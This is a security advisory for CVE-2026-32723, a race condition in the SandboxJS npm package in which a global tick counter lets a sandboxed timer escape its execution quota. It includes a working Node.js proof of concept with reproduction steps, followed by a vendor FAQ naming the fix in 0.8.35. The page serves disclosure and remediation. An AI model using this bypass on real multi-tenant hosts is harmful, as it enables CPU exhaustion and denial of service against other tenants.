CVE-2026-32723

Assumed repo path is /Users/zwique/Downloads/SandboxJS-0.8.34 (no /Users/zwique/Downloads/SandboxJS found). A global tick state (currentTicks.current) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite currentTicks.current between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.

Impact: execution quota bypass → CPU/resource abuse

Details

• Affected project: SandboxJS (owner: nyariv)
• Assumed checked-out version: SandboxJS-0.8.34 at /Users/zwique/Downloads/SandboxJS-0.8.34

Vulnerable code paths

• /src/eval.ts, sandboxFunction binds ticks using ticks || currentTicks.current:

  createFunction(..., ticks || currentTicks.current, { ...context, ... })
  

  Relevant lines: 44, 53, 164, 167.

• /src/evaluator.ts / /src/executor.ts, global ticks:

  export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };
  

  and

  _execNoneRecurse(...) { currentTicks.current = ticks; ... }
  

  Relevant lines: ~1700, 1712.

• sandboxedSetTimeout compiles string handlers at execution time, not at scheduling time, which lets currentTicks.current be the wrong sandbox's ticks when compilation occurs.

Why This Is Vulnerable

• currentTicks.current is global mutable state shared across all sandbox instances.
• Timer string handlers are compiled at the moment the timer fires and read currentTicks.current at that time. If another sandbox runs between scheduling and execution, it can replace currentTicks.current. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.

Proof of Concept

Run with Node.js; adjust path if needed.

// PoC (run with node); adjust path if needed
import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';

const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };
const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;

const sandboxA = new Sandbox({
  globals,
  prototypeWhitelist,
  executionQuota: 50n,
  haltOnSandboxError: true,
});
let haltedA = false;
sandboxA.subscribeHalt(() => { haltedA = true; });

const sandboxB = new Sandbox({ globals, prototypeWhitelist });

// Sandbox A schedules a heavy string handler
sandboxA.compile(
  'setTimeout("let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;", 0);'
)().run();

// Run sandbox B before A's timer fires
sandboxB.compile('1+1')().run();

setTimeout(() => {
  console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });
}, 50);

Reproduction Steps

1. Place the PoC in hi.js and run:

   node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js
   

2. Observe output similar to:

   { haltedA: false, doneA: true }
   

   This indicates the heavy loop completed and the quota was bypassed.

3. Remove the sandboxB.compile('1+1')().run(); line and rerun. Output should now be:

   { haltedA: true }
   

   This indicates quota enforcement is working correctly.

• Type: Runtime guard bypass (execution-quota / watchdog bypass)
• Who is impacted: Applications that run multiple SandboxJS instances concurrently in the same process, multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.
• Practical impact: Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.
• Does not (as tested) lead to: Host object exposure or direct sandbox escape (no process / require leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.

Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing. Typical impact: TOCTOU exploits, data corruption, or privilege escalation.

Kodem intelligence

1. What is CVE-2026-32723? CVE-2026-32723 is a medium-severity race condition vulnerability in @nyariv/sandboxjs (npm), affecting versions <= 0.8.34. It is fixed in 0.8.35. Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing.
2. Which versions of @nyariv/sandboxjs are affected by CVE-2026-32723? @nyariv/sandboxjs (npm) versions <= 0.8.34 is affected.
3. Is there a fix for CVE-2026-32723? Yes. CVE-2026-32723 is fixed in 0.8.35. Upgrade to this version or later.
4. Is CVE-2026-32723 exploitable, and should I be worried? Whether CVE-2026-32723 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-32723 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-32723? Upgrade @nyariv/sandboxjs to 0.8.35 or later.